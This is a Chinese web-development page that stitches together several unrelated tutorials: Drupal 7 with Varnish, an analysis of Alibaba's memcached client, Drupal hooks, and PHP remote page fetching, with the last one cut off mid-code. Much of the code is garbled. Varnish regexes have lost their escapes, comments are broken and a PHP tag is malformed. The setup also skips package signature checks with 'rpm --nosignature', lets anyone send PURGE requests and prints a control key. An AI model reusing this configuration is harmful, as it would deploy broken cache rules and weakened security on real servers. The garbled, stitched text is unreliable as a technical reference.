您的位置：首页 > 编程技术 > php  >  Drupal7配合Varnish使用及整合drupal模块的详细教程

Drupal7配合Varnish使用及整合drupal模块的详细教程

 更新时间：2016年11月25日 17:20  点击：1765
Varnish是一款高性能的开源HTTP加速器，使用相对复杂，尤其跟drupal配合使用。现在我们来记录关于Drupal7配合Varnish使用的详细设置教程

准备环境

首先安装一个全新的Drupal，推荐使用drush安装，方便迅速。

先要建一个数据库，记住用户和密码。

###进入mysql
mysql -uroot -p
CREATE DATABASE `mydb` CHARACTER SET utf8 COLLATE utf8_general_ci;
GRANT ALL ON `mydb`.* TO `username`@localhost IDENTIFIED BY 'password';
####退出mysql

Drush安装Drupal7：

drush dl drupal-7.x; #--select 用来选择一个版本
drush site-install standard --account-name=admin --account-pass=admin --db-url=mysql://YourMySQLUser:RandomPassword@localhost/YourMySQLDatabase

默认会安装最新版本的drupal7，如果要选择一个版本，请加参数：–select。

安装成功后，再下载一个varnish模块。

#进入drupal目录
drush dl varnish

安装Varnish

我们默认一个CentOS为例，因为CentOS仓库中的Varnish版本较低，要导入一个新的repo，然后，在升级一下yum软件库。
具体参考这个链接：https://www.varnish-cache.org/installation/redhat

####Varnish 4.0:
rpm --nosignature -i https://repo.varnish-cache.org/redhat/varnish-4.0.el6.rpm
yum install varnish
 
####Varnish 3.0:
 
###RHEL 5 or a compatible distribution, use:
 
rpm --nosignature -i https://repo.varnish-cache.org/redhat/varnish-3.0.el5.rpm
yum install varnish
 
###RHEL 6 and compatible distributions, use:
 
rpm --nosignature -i https://repo.varnish-cache.org/redhat/varnish-3.0.el6.rpm
yum install varnish
 
#如果安装的版本不对，请update一下。
#yum update

输入如下命令监测是否安装成功：

$ usr/sbin/varnishd -V
varnishd (varnish-3.0.5 revision 1a89b1f)
Copyright (c) 2006 Verdens Gang AS
Copyright (c) 2006-2011 Varnish Software AS

设置Varnish的VCL

复制如下代码到/etc/varnish/default.vcl里面：

 代码如下 复制代码
backend default {
  .host = "127.0.0.1";
  .port = "80";
}
 
sub vcl_recv {
  if (req.restarts == 0) {
    if (req.http.x-forwarded-for) {
      set req.http.X-Forwarded-For = req.http.X-Forwarded-For +  ", " +  client.ip;
    }
    else {
      set req.http.X-Forwarded-For = client.ip;
    }
  }
 
  # Do not cache these paths.
  if (req.url ~ "^/status.php$" ||
    req.url ~ "^/update.php$" ||
    req.url ~ "^/ooyala/ping$" ||
    req.url ~ "^/admin/build/features" ||
    req.url ~ "^/info/.$" ||
    req.url ~ "^/flag/.$" ||
    req.url ~ "^./ajax/.$" ||
    req.url ~ "^./ahah/.$") {
    return (pass);
  }
 
  # Pipe these paths directly to Apache for streaming.
  if (req.url ~ "^/admin/content/backup_migrate/export") {
    return (pipe);
  }
 
  # Allow the backend to serve up stale content if it is responding slowly.
  set req.grace = 6h;
 
  # Use anonymous, cached pages if all backends are down.
  if (!req.backend.healthy) {
    unset req.http.Cookie;
  }
 
  # Always cache the following file types for all users.
  if (req.url ~ "(?i).(png|gif|jpeg|jpg|ico|swf|css|js|html|htm)(?[wd=.-]+)?$") {
    unset req.http.Cookie;
  }
 
  # Remove all cookies that Drupal doesn't need to know about. ANY remaining
  # cookie will cause the request to pass-through to Apache. For the most part
  # we always set the NO_CACHE cookie after any POST request, disabling the
  # Varnish cache temporarily. The session cookie allows all authenticated users
  # to pass through as long as they're logged in.
  if (req.http.Cookie) {
    set req.http.Cookie = ";" +  req.http.Cookie;
    set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
    set req.http.Cookie = regsuball(req.http.Cookie, ";(SESS[a-z0-9]+|NO_CACHE)=", "; 1=");
    set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
    set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
    # Remove the "has_js" cookie
    set req.http.Cookie = regsuball(req.http.Cookie, "has_js=[^;]+(; )?", "");
    # Remove the "Drupal.toolbar.collapsed" cookie
    set req.http.Cookie = regsuball(req.http.Cookie, "Drupal.toolbar.collapsed=[^;]+(; )?", "");
    # Remove AdminToolbar cookie for drupal6
    set req.http.Cookie = regsuball(req.http.Cookie, "DrupalAdminToolbar=[^;]+(; )?", "");
    # Remove any Google Analytics based cookies
    set req.http.Cookie = regsuball(req.http.Cookie, "__utm.=[^;]+(; )?", "");
    # Remove the Quant Capital cookies (added by some plugin, all __qca)
    set req.http.Cookie = regsuball(req.http.Cookie, "__qc.=[^;]+(; )?", "");
 
     if (req.http.Cookie == "") {
      # If there are no remaining cookies, remove the cookie header. If there
      # aren't any cookie headers, Varnish's default behavior will be to cache
      # the page.
      unset req.http.Cookie;
      set req.http.X-Varnish-NoCookie = "TRUE";
    }
    else {
      # If there is any cookies left (a session or NO_CACHE cookie), do not
      # cache the page. Pass it on to Apache directly.
      set req.http.X-Varnish-NoCookie = "FALSE";
      set req.http.X-Varnish-CookieData = req.http.Cookie;
      return (pass);
    }
  }
 
  # Handle compression correctly. Different browsers send different
  # "Accept-Encoding" headers, even though they mostly all support the same
  # compression mechanisms. By consolidating these compression headers into
  # a consistent format, we can reduce the size of the cache and get more hits.
  # @see: http:// varnish.projects.linpro.no/wiki/FAQ/Compression
  if (req.http.Accept-Encoding) {
    if (req.http.Accept-Encoding ~ "gzip") {
      # If the browser supports it, we'll use gzip.
      set req.http.Accept-Encoding = "gzip";
    }
    else if (req.http.Accept-Encoding ~ "deflate") {
      # Next, try deflate if it is supported.
      set req.http.Accept-Encoding = "deflate";
    }
    else {
      # Unknown algorithm. Remove it and send unencoded.
      unset req.http.Accept-Encoding;
    }
  }
 
  if (req.request != "GET" &&
    req.request != "HEAD" &&
    req.request != "PUT" &&
    req.request != "POST" &&
    req.request != "TRACE" &&
    req.request != "OPTIONS" &&
    req.request != "DELETE") {
      /* Non-RFC2616 or CONNECT which is weird. */
      return (pipe);
  }
  if (req.request != "GET" && req.request != "HEAD") {
      /* We only deal with GET and HEAD by default */
      return (pass);
  }
  ## Unset Authorization header if it has the correct details...
  #if (req.http.Authorization == "Basic <hash>") {
  #  unset req.http.Authorization;
  #}
  if (req.http.Authorization || req.http.Cookie) {
      /* Not cacheable by default */
      return (pass);
  }
 
  return (lookup);
}
 
 
sub vcl_pipe {
    # Note that only the first request to the backend will have
    # X-Forwarded-For set.  If you use X-Forwarded-For and want to
    # have it set for all requests, make sure to have:
    set bereq.http.connection = "close";
    # here.  It is not set by default as it might break some broken web
    # applications, like IIS with NTLM authentication.
}
 
# Routine used to determine the cache key if storing/retrieving a cached page.
sub vcl_hash {
  if (req.http.X-Forwarded-Proto == "https") {
    hash_data(req.http.X-Forwarded-Proto);
  }
}
 
sub vcl_hit {
  if (req.request == "PURGE") {
    purge;
    error 200 "Purged.";
  }
}
 
sub vcl_miss {
  if (req.request == "PURGE") {
    purge;
    error 200 "Purged.";
  }
}
 
# Code determining what to do when serving items from the Apache servers.
sub vcl_fetch {
  set beresp.http.X-Varnish-CookieData = beresp.http.set-cookie;
  # Don't allow static files to set cookies.
  if (req.url ~ "(?i).(png|gif|jpeg|jpg|ico|swf|css|js)(?[a-z0-9]+)?$") {
    # beresp == Back-end response from the web server.
    unset beresp.http.set-cookie;
  }
  else if (beresp.http.Cache-Control) {
    unset beresp.http.Expires;
  }
 
  if (beresp.status == 301) {
    set beresp.ttl = 1h;
    return(deliver);
  }
 
  ## Doesn't seem to work as expected
  #if (beresp.status == 500) {
  #  set beresp.saintmode = 10s;
  #  return(restart);
  #}
 
  # Allow items to be stale if needed.
  set beresp.grace = 1h;
}
 
# Set a header to track a cache HIT/MISS.
sub vcl_deliver {
  if (obj.hits > 0) {
    set resp.http.X-Varnish-Cache = "HIT";
  }
  else {
    set resp.http.X-Varnish-Cache = "MISS";
  }
}
 
# In the event of an error, show friendlier messages.
sub vcl_error {
     set obj.http.Content-Type = "text/html; charset=utf-8";
     set obj.http.Retry-After = "5";
     synthetic {"
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
   <head>
     <title>"} + obj.status + " " + obj.response + {"</title>
   </head>
   <body>
     <h1>Error "} + obj.status + " " + obj.response + {"</h1>
     <p>"} + obj.response + {"</p>
     <h3>Guru Meditation:</h3>
     <p>XID: "} + req.xid + {"</p>
     <hr>
     <p>Varnish cache server</p>
   </body>
</html>
"};
     return (deliver);
}



配置完成之后，启动Varnish。

测试效果

打开浏览器，输入druapl7的地址，先看Drupal7是否正常，然后加上端口号。
比如我们的测试地址是：http://drupal7.111cn.net
那么再用浏览器打开varnish的地址，如下：http://drupal7.111cn.net:6081/

测试结果，两边都正常就表示drupal和varnish都工作正常。
让Varnish缓存Drupal页面

用Firebug查看varnish的请求，如果看到http头里面有X-Varnish的标记表示varnish已经起作用，这时候我们要判断varnish是否缓存了页面。
如何判断：X-Varnish后面有一个数字，表示不是缓存，X-Varnish后面有两个数字，表示缓存成功。

到这里，我们会发现所有的varnish都没有缓存命中，那么问题来了。。。（挖掘机不会出现）
如何让varnish缓存起作用：

// Tell Drupal it's behind a proxy.
$conf['reverse_proxy'] = TRUE;
 
// Tell Drupal what addresses the proxy server(s) use.
$conf['reverse_proxy_addresses'] = array('127.0.0.1');
 
// Bypass Drupal bootstrap for anonymous users so that Drupal sets max-age &lt; 0.
$conf['page_cache_invoke_hooks'] = FALSE;
 
// Make sure that page cache is enabled.
$conf['cache'] = 1;
$conf['cache_lifetime'] = 0;
$conf['page_cache_maximum_age'] = 21600;

给Drupal的settings.php添加如下内容，然后刷新浏览器，即可看到X-Varnish的数字变成了两个（多刷几次）。

至此，Varnish已经完全可以缓存Drupal的页面了。如下图所示：

Drupal X-varnish

那么，Drupal的Varnish模块是做什么用的？

简单来说，Varnish就是通过Drupal的缓存接口，清除varnish的缓存，比如页面过期。
此外，通过Expire模块，可以精确的控制那些页面，过期时间都可以控制，比较方便。

配置Drupal.org的Varnish模块

启用Varnish模块，阅读一下varnish模块的官方说明: https://www.drupal.org/project/varnish
主要是给Drupal的settings.php添加如下两行：

// Add Varnish as the page cache handler.
$conf['cache_backends'] = array('sites/all/modules/varnish/varnish.cache.inc');
$conf['cache_class_cache_page'] = 'VarnishCache';

然后到Drupal设置页面，路径如下: admin/config/development/varnish

例如：
Varnish Control Terminal: 127.0.0.1:6082
Varnish Control Key： 86b2d660-9768-4a13-ab90-4b0736d6a4d1
点击保存，status就会变为绿色。
（注意：Control Key的值在/etc/varnish/secret 文件里面，复制内容即可）

设置完成，那么清空一下Drupal的缓存，就会发现Varnish里面的缓存值就会刷新，实现了即时清空缓存的目的。

+++++到此完成++++++++（更多问题到drupal大学：http://drupal001.net提问哦！）+++++

哦哦，还有一种情况，就是Varnish安装再另外一台服务器上，因为Varnish控制后台默认监听的是本机，因此，如果要刷新另一台反向代理服务器的缓存，就必须修改配置。可选的方法有两个，

其一，让Varnish的管理后台地址使用内网的IP（比如192.168.1.x），一般这种架构都是内网集群，因此监听内网也是比较合理的。
其二，本机使用autossh，把本机的端口6082映射到内网机器上面。

$ autossh -fN  -L 6082:localhost:6082

完成

至此，Drupal7 + Varnish的配置已经完成，Drupal和varnish也完全集成。Varnish的缓存总得来说速度大于其他缓存，所以可以代替Boost缓存。
如果要使用Varnish缓存动态内容，还有更多的内容要做，本文就不再增加大家的阅读量了（^_^）。

+++++++++++++++++++++++

最后，顺便多嘴，说一下Apache的RPAF Module。

Varnish默认使用 X-Forwarded-For作为远程IP的地址信息，但是这个不是一个标准的协议，有时候我们还是用PHP里面的 $_SERVER['REMOTE_ADDR']来获得IP。
Apache有一个模块，RPAF的配置文件 rpaf.conf如下，即可获设置正确的IP地址。（具体安装就不多说）

RPAFenable On
RPAFsethostname  On
RPAFproxy_ips    127.0.0.1 192.168. 10.0.0.
RPAFheader       X-Forwarded-For

最近项目需要用应用缓存解决方案，选择了目前比较流行的memcached作为分布式缓存。客户端我们选择了阿里改造后的memchaced-client-forjava，因为该客户端经过阿里内部大量实际项目的线上运行，表现给力。

源码分析

memcached本身是一个集中式的内存缓存系统，对于分布式的支持服务端并没有实现，只有通过客户端实现；再者，memcached是基于TCP/UDP进行通信，只要客户端语言支持TCP/UDP即可实现客户端，并且可以根据需要进行功能扩展。memchaced-client-forjava 既是使用java语言实现的客户端，并且实现了自己的功能扩展，下面这张类图描述了其主要类之间的关系。


阿里改造后的memcached客户端源码详解


几个重要类的说明：

MemcachedCacheManager： 管理类，负责缓存服务端，客户端，以及相关资源池的初始化工作，获取客户端等等
MemcachedCache：memcached缓存实体类，实现了所有的缓存API，实际上也会调用MemcachedClient进行操作
MemcachedClient：memcached缓存客户端，一个逻辑概念，负责与服务端实例的实际交互，通过调用sockiopool中的socket
SockIOPool：socket连接资源池，负责与memcached服务端进行交互
ClusterProcessor：集群内数据异步操作工具类

客户端可配置化

MemcachedCacheManager是入口，其start方法读取配置文件memcached.xml，初始化各个组建，包括memcached客户端，socket连接池以及集群节点。
memcached客户端是个逻辑概念，并不是和memcached服务端实例一一对应的,可以认为其是一个逻辑环上的某个节点（后面会讲到hash一致性算法时涉及），该配置文件中，可配置一个或多个客户端，每个客户端可配置一个socketPool连接池，如下：

 代码如下 复制代码
<client name="mclient0" compressEnable="true" defaultEncoding="UTF-8" socketpool="pool0”>
    <errorHandler>com.alisoft.xplatform.asf.cache.memcached.MemcachedErrorHandler</errorHandler>
</client>


扩容

socketpool连接池配置的才是真正连接的memcached服务实例，当然，你可以连接多个memcached服务实例，多个实例可以分布在一台或者多台物理机器上。这样，随着实际业务数据量的增加，可以对现有缓存容量进行扩容，只需在servers中增加memcached实例即可，或者增加多个socketpool配置项，配置如下：

 代码如下 复制代码
<socketpool name="pool0" failover="true" initConn="5" minConn="5" maxConn="250" maintSleep="5000" nagle="false" socketTO="3000" aliveCheck="true">
    <servers>192.168.1.66:11211,192.168.1.68:11211</servers>
</socketpool>



初始化过程

上文提及的MemcachedCacheManager，该类功能包括有初始化各种资源池，获取所有客户端，重新加载配置文件以及集群复制等。我们重点分析方法start，该方法首先加载配置文件，然后初始化资源池，即方法initMemCacheClientPool，该方法中定义了三个资源池，即socket连接资源池socketpool，memcachedcache资源池cachepool，以及由客户端组成的集群资源池clusterpool，这些资源池的数据结构都是线程安全的ConcurrentHashMap，保证了并发效率。将配置信息分别实例化后，再分别放入对应的资源池容器中，socket连接放入socketpool中，memcached客户端放入cachepool中，定义的集群节点放入clusterpool中。

注意，在实例化socket连接池资源socketpool时，会调用每个pool的初始化方法pool.initialize()，来映射memcached实例到HASH环上，以及初始化socket连接。

单点问题

memcached的分布式，解决了容量水平扩容的问题，但是当某个节点失效时，还是会丢失一部分数据，单点故障依然存在，分布式只是解决了数据整体失效问题，而在实际项目中，特别是GAP平台适应的企业级项目中，是不允许数据不一致的，所以对每一份保存的数据都需要进行容灾处理，那么对于定义的每个memcached客户端，都至少增加一个新客户端与其组成一个cluster集群，当更新或者查找数据时，会先定位到该集群中某个节点，如果该节点失效，就去另外一个节点进行操作。在实际项目中，通过合理规划配置cluster和client(memcached客户端)，可以最大限度的避免单点故障（当所有client都失效时还会丢失数据）。在配置文件中，集群配置如下：
 代码如下 复制代码

<cluster name="cluster1" mode="active">
    <memCachedClients>mclient1,mclient2</memCachedClients>
</cluster>



下图展现了扩容和单点故障解决方案：


阿里改造后的memcached客户端源码详解



HASH一致性算法

在memcached支持分布式部署场景下，如何获取一个memcached实例？如何平均分配memcached实例的存储？这些需要一个算法来实现，我们选择的是HASH一致性算法，具体就体现在客户端如何获取一个连接memcached服务端的socket上，也就是如何定位memcached实例的问题？算法要求能够根据每次提供的同一个key获得同一个实例。

HASH闭环的初始化

本质上，hash一致性算法是需要实现一个逻辑环，如图所示，环上所有的节点即为一个memcached实例，如何实现？其实是根据每个memcached实例所在的ip地址，将所有的实例映射到hash数值空间中，构成一个闭合的圆环。



阿里改造后的memcached客户端源码详解

HASH环映射的初始化的代码位于SocketIOPool.populateConsistentBuckets方法中，主要代码如下：

 代码如下 复制代码
private void populateConsistentBuckets()
     {
         ……...
          for (int i = 0; i < servers.length; i++)
          {
               int thisWeight = 1;
               if (this.weights != null && this.weights[i] != null)
                    thisWeight = this.weights[i];
                    double factor = Math .floor(((double) (40 * this.servers.length * thisWeight)) / (double                                      ) this.totalWeight);
               for (long j = 0; j < factor; j++)
               {
                    byte[] d = md5.digest((servers[i] + "-" + j).getBytes());
                    for (int h = 0; h < 4; h++)
                    {
                         // k 的值使用MD5hash算法计算获得
                         Long k = ((long) (d[3 + h * 4] & 0xFF) << 24)
                                   | ((long) (d[2 + h * 4] & 0xFF) << 16)
                                   | ((long) (d[1 + h * 4] & 0xFF) << 8)
                                   | ((long) (d[0 + h * 4] & 0xFF));
                         // 用treemap来存储memcached实例所在的ip地址，
                         // 也就是将每个缓存实例所在的ip地址映射到由k组成的hash环上
                        consistentBuckets.put(k, servers[i]);
                         if (log.isDebugEnabled())
                              log.debug("++++ added " + servers[i]
                                        + " to server bucket");
                    }
               }
           ……...
          }
     }


获取socket连接


在实际获取memcahced实例所在服务器的soket时，只要使用基于同一个存储对象的key的MD5Hash算法，就可以获得相同的memcached实例所在的ip地址，也就是可以准确定位到hash环上相同的节点，代码位于SocketIOPool.getSock方法中，主要代码如下：
 代码如下 复制代码

     public SockIO getSock(String key, Integer hashCode){
          ………….
            
          // from here on, we are working w/ multiple servers
          // keep trying different servers until we find one
          // making sure we only try each server one time
          Set<String> tryServers = new HashSet<String>(Arrays.asList(servers));
          // get initial bucket
          // 通过key值计算hash值，使用的是基于MD5的算法
          long bucket = getBucket(key, hashCode);
          String server = (this.hashingAlg == CONSISTENT_HASH) ? consistentBuckets .get(bucket)  : buckets.g                          et((int) bucket);
           …………... 
     }
     private long getBucket(String key, Integer hashCode)
     {
          / / 通过key值计算hash值，使用的是基于MD5的算法
          long hc = getHash(key, hashCode);
          if (this.hashingAlg == CONSISTENT_HASH)
          {
               return findPointFor(hc);
          } else
          {
               long bucket = hc % buckets.size();
               if (bucket < 0)
                    bucket *= -1;
               return bucket;
          }
     }
     /**
      * Gets the first available key equal or above the given one, if none found,
      * returns the first k in the bucket
      *
      * @param k
      *            key
      * @return
      */
     private Long findPointFor(Long hv)
     {
          // this works in java 6, but still want to release support for java5
          // Long k = this.consistentBuckets.ceilingKey( hv );
          // return ( k == null ) ? this.consistentBuckets.firstKey() : k;
          // 该consistentBuckets中存储的是HASH结构初始化时，存入的所有memcahced实例节点，也就是整个hash环
          // tailMap方法是取出大于等于hv的所有节点，并且是递增有序的
          SortedMap<Long, String> tmap = this.consistentBuckets.tailMap(hv);
          // 如果tmap为空，就默认返回hash环上的第一个值，否则就返回最接近hv值的那个节点
          return (tmap.isEmpty()) ? this.consistentBuckets.firstKey() : tmap .firstKey();
     }
    /**
      * Returns a bucket to check for a given key.
      *
      * @param key
      *            String key cache is stored under
      * @return int bucket
      */
     private long getHash(String key, Integer hashCode)
     {
          if (hashCode != null)
          {
               if (hashingAlg == CONSISTENT_HASH)
                    return hashCode.longValue() & 0xffffffffL;
               else
                    return hashCode.longValue();
          } else
          {
               switch (hashingAlg)
               {
               case NATIVE_HASH:
                    return (long) key.hashCode();
               case OLD_COMPAT_HASH:
                    return origCompatHashingAlg(key);
               case NEW_COMPAT_HASH:
                    return newCompatHashingAlg(key);
               case CONSISTENT_HASH:
                    return md5HashingAlg(key);
               default:
                    // use the native hash as a default
                    hashingAlg = NATIVE_HASH;
                    return (long) key.hashCode();
               }
          }
     }
    /**
      * Internal private hashing method.
      *
      * MD5 based hash algorithm for use in the consistent hashing approach.
      *
      * @param key
      * @return
      */
     private static long md5HashingAlg(String key)
     {
          / /通过key值计算hash值，使用的是基于MD5的算法
          MessageDigest md5 = MD5.get();
          md5.reset();
          md5.update(key.getBytes());
          byte[] bKey = md5.digest();
          long res = ((long) (bKey[3] & 0xFF) << 24)
                    | ((long) (bKey[2] & 0xFF) << 16)
                    | ((long) (bKey[1] & 0xFF) << 8) | (long) (bKey[0] & 0xFF);
          return res;
     }

通过以上代码的分析，整个memcahced服务端实例HASH环的初始化，以及数据更新和查找使用的算法都是基于同一种算法，这就保证了通过同一个key获得的memcahced实例为同一个。


socket连接池

这部分单独介绍，请猛烈地戳这里。

容灾、故障转移以及性能

衡量系统的稳定性，很大程度上是对各种异常情况的处理，充分考虑异常情况，以及合理处理异常是对系统设计人员的要求，下面看看在故障处理和容灾方面系统都做了那些工作。


定位memcached实例时，当第一次定位失败，会对所有其他的属于同一个socketpool中的memcahced实例进行定位，找到一个可用的，代码如下：

 代码如下 复制代码

 // log that we tried
 // 先删除定位失败的实例
 tryServers.remove(server);
 if (tryServers.isEmpty())
     break;
 // if we failed to get a socket from this server
 // then we try again by adding an incrementer to the
 // current key and then rehashing
 int rehashTries = 0;
 while (!tryServers.contains(server))
 {
   // 重新计算key值
   String newKey = new StringBuilder().append(rehashTries).append(key).toString();
   // String.format( "%s%s", rehashTries, key );
   if (log.isDebugEnabled())
       log.debug("rehashing with: " + newKey);
   // 去HASH环上定位实例节点
   bucket = getBucket(newKey, null);
   server=(this.hashingAlg == CONSISTENT_HASH) ? consistentBuckets.get(bucket) : buckets.get((int) bucket);
   rehashTries++;
  }


查找数据时，当前节点获取不到，会尝试到所在集群中其他的节点查找，成功后，会将数据复制到原先失效的节点中，代码如下：

 代码如下 复制代码

public Object get(String key)
     {
          Object result = null;
          boolean isError = false; 
       …….......
          if (result == null && helper.hasCluster())
           if (isError || helper.getClusterMode().equals(MemcachedClientClusterConfig.CLUSTER_MODE_ACTIVE))
          {
               List<MemCachedClient> caches = helper.getClusterCache();
               for(MemCachedClient cache : caches)
               {
                    if (getCacheClient(key).equals(cache))
                         continue;
                    try{ try
                         {
                              result = cache.get(key);
                         }
                         catch(MemcachedException ex)
                         {
                              Logger.error(new StringBuilder(helper.getCacheName())
                                   .append(" cluster get error"),ex);
                              continue;
                         }
                         //仅仅判断另一台备份机器，不多次判断，防止效率低下
                         if (helper.getClusterMode().equals(MemcachedClientClusterConfig.CLUSTER_MODE_ACTIVE                                                      ) && result != null)
                         {
                              Object[] commands = new Object[]{CacheCommand.RECOVER,key,result};
                             // 加入队列，异步执行复制数据
                              addCommandToQueue(commands);
                         }
                         break;   
                    }
                    catch(Exception e)
                    {
                     Logger.error(new StringBuilder(helper.getCacheName()) .append(" cluster get error"),e);
                    }
               }
          }
          return result;
     }


更新数据时，异步更新到集群内其他节点，示例代码如下：
 代码如下 复制代码

public boolean add(String key, Object value)
     {
          boolean result = getCacheClient(key).add(key,value);
          if (helper.hasCluster())
          {
               Object[] commands = new Object[]{CacheCommand.ADD,key,value};
               // 加入队列，异步执行
               addCommandToQueue(commands);
          }
          return result;
     }

删除数据时，需要同步执行，如果异步的话，会产生脏数据，代码如下：
 代码如下 复制代码

public Object remove(String key)
     {
          Object result = getCacheClient(key).delete(key);
          //异步删除由于集群会导致无法被删除，因此需要一次性全部清除
          if (helper.hasCluster())
          {
               List<MemCachedClient> caches = helper.getClusterCache();
             
               for(MemCachedClient cache : caches)
               {
                    if (getCacheClient(key).equals(cache))
                         continue;
                    try
                    {
                         cache.delete(key);
                    }
                    catch(Exception ex)
                    {
                         Logger.error(new StringBuilder(helper.getCacheName())
                                        .append(" cluster remove error"),ex);
                    }
               }
          }
          return result;
     }

异步执行集群内数据同步，因为不可能每次数据都要同步执行到集群内每个节点，这样会降低系统性能；所以在构造MemcachedCache对象时，会建立一个队列，线程安全的linked阻塞队列LinkedBlockingQueue，将所有需要异步执行的命令放入队列中，异步执行，具体异步执行由ClusterProcessor类负责。
 代码如下 复制代码


public MemcachedCache(MemCachedClientHelper helper,int statisticsInterval)
     {
          this.helper = helper;
          dataQueue = new LinkedBlockingQueue<Object[]>();
         ………
          processor = new ClusterProcessor(dataQueue,helper);
          processor.setDaemon(true);
          processor.start();
     }

本地缓存的使用是为了降低连接服务端的IO开销，当有些数据变化频率很低时，完全可以放在应用服务器本地，同时可以设置有效时间，直接获取。DefaultCacheImpl类为本地缓存的实现类，在构造MemcachedCache对象时，即初始化。

每次查找数据时，会先查找本地缓存，如果没有再去查缓存，结束后将数据让如本地缓存中，代码如下：
 代码如下 复制代码

public Object get(String key, int localTTL)
     {
          Object result = null;
         // 本地缓存中查找
          result = localCache.get(key);
          if (result == null)
          {
               result = get(key);
               if (result != null)
               {
                    Calendar calendar = Calendar.getInstance();
                    calendar.add(Calendar.SECOND, localTTL);
                    // 放入本地缓存
                    localCache.put(key, result,calendar.getTime());
               }
          }
          return result;
     }

增加缓存数据时，会删除本地缓存中对应的数据，代码如下：
 代码如下 复制代码

public Object put(String key, Object value, Date expiry)
     {
          boolean result = getCacheClient(key).set(key,value,expiry);
          //移除本地缓存的内容
          if (result) localCache.remove(key);
        ……..
          return value;
     }


改造部分

据以上分析，我们通过封装，做到了客户端的可配置化，memcached实例的水平扩展，通过集群解决了单点故障问题，并且保证了应用程序只要每次使用相同的数据对象的key值即可获取相同的memcached实例进行操作。但是，为了使缓存的使用对于应用程序来说完全透明，我们对cluster部分进行了再次封装，即把cluster看做一个node，根据cluster名称属性，进行HASH数值空间计算（同样基于MD5算法），映射到一个HASH环上，如下图，。



阿里改造后的memcached客户端源码详解




这部分逻辑放在初始化资源池clusterpool时进行(即放在MemcahedCacheManager.initMemCacheClientPool方法中)，与上文中所描述的memcached实例HASH环映射的逻辑一致，部分代码如下：

 代码如下 复制代码
 //populate cluster node to hash consistent Buckets
 MessageDigest md5 = MD5.get();
 // 使用cluster的名称计算HASH数值空间
 byte[] d = md5.digest((node.getName()).getBytes());
 for (int h = 0; h < 4; h++)
 {
    Long k = ((long) (d[3 + h * 4] & 0xFF) << 24)
                        | ((long) (d[2 + h * 4] & 0xFF) << 16)
                        | ((long) (d[1 + h * 4] & 0xFF) << 8)
                        | ((long) (d[0 + h * 4] & 0xFF));
   consistentClusterBuckets.put(k, node.getName());
   if (log.isDebugEnabled())
        log.debug("++++ added " + node.getName() + " to cluster bucket");
 }


在进行缓存操作时，仍然使用数据对象的key值获取到某个cluster节点，然后再使用取余算法（这种算法也是经常用到的分布式定位算法，但是有局限性，即随着节点数的增减，定位越来越不准确），拿到cluster中的某个节点，在进行缓存的操作；定位hash环上cluster节点的逻辑也与上文一样，这里不在赘述。部分定位cluster中节点的取余算法代码如下：

public IMemcachedCache getCacheClient(String key){
       ………….
       String clusterNode = getClusterNode(key);
        MemcachedClientCluster mcc = clusterpool.get(clusterNode);
        List<IMemcachedCache> memcachedCachesClients = mcc.getCaches();
        //根据取余算法获取集群中的某一个缓存节点
        if (!memcachedCachesClients.isEmpty())
        {
            long keyhash = key.hashCode();
            int index = (int)keyhash % memcachedCachesClients.size();
            if (index < 0 )
                index *= -1;
            return memcachedCachesClients.get(index);
        }
        return null;
    }

    
这样，对于应用来说，配置好资源池以后，无需关心那个集群或者客户端节点，直接通过MemcachedCacheManager获取到某个memcachedcache，然后进行缓存操作即可。

最后，使用GAP平台分布式缓存组件，需要提前做好容量规划，集群和客户端事先配置好；另外，缓存组件没有提供数据持久化功能。

Drupal可以让第三方模块创建自己的钩子。在通常的实践中，有两种类型的钩子你可能想要创建，一种是内容修改类的钩子，一种是拦截类的钩子。

Drupal的钩子系统允许和模块交互并改变其他模块的逻辑，甚至是改变Drupal核心逻辑。这是一个非常简单的系统，甚至可以让第三方模块创建自己的钩子。在通常的实践中，有两种类型的钩子你可能想要创建，一种是内容修改类的钩子，一种是拦截类的钩子。修改类的钩子提供了一个标准的方法来修改某个特定对象或变量的内容，典型的是使用 drupal_alter()函数。拦截类的钩子可以让第三方模块在模块执行过程中根据条件做出一些动作。


例1：简单调用

 代码如下 复制代码
<?php
// will call all modules implementing hook_hook_name
module_invoke_all('hook_name');
?>



例2：聚合结果

 代码如下 复制代码
<?php
$result = array();
foreach (module_implements('hook_name') as $module) {
// will call all modules implementing hook_hook_name and
// push the results onto the $result array
$result[] = module_invoke($module, 'hook_name');
}
?>



例3：使用 drupal_alter() 改变内容

 代码如下 复制代码
<?php
$data = array(
'key1' => 'value1',
'key2' => 'value2',
);
// will call all modules implementing hook_my_data_alter
drupal_alter('my_data', $data);
?>



例4：引用传参，不能使用 module_invoke

 代码如下 复制代码
<?php
// @see user_module_invoke()
foreach (module_implements('hook_name') as $module) {
$function = $module . '_hook_name';
// will call all modules implementing hook_hook_name
// and can pass each argument as reference determined
// by the function declaration
$function($arg1, $arg2);
}
?>
有时我们需要做一些采集需要下载远程网页源码到本来了，在这里我们整理了一些php获取远程网页源码代码，希望对各位会有所帮助。

php的curl函数

基本例子

 代码如下 复制代码

??php
// 初始化一个 cURL 对象
$curl = curl_init();

// 设置你需要抓取的URL
curl_setopt($curl, CURLOPT_URL, 'http://www.111cn.net');

// 设置header
curl_setopt($curl, CURLOPT_HEADER, 1);

// 设置cURL 参数，要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

// 运行cURL，请求网页
$data = curl_exec($curl);

// 关闭URL请求
curl_close($curl);

// 显示获得的数据
var_dump($data);
?>

php fopen函数

 代码如下 复制代码

<?
print("<H1>HTTP</H1>n");

// open a file using http protocol
if(!($myFile = fopen("http://www.111cn.net/", "r")))
{
print("file could not be opened");
exit;
}

while(!feof($myFile))
{
// read a line from the file
$myLine = fgetss($myFile, 255);
print("$myLine <BR>n");
}

// close the file
fclose($myFile);

print("<H1>FTP</H1>n");
print("<HR>n");

// open a file using ftp protocol
if(!($myFile = fopen("ftp://ftp.php.net/welcome.msg", "r")))
{
print("file could not be opened");
exit;
}

while(!feof($myFile))
{
// read a line from the file
$myLine = fgetss($myFile, 255);
print("$myLine <BR>n");
}

// close the file
fclose($myFile);

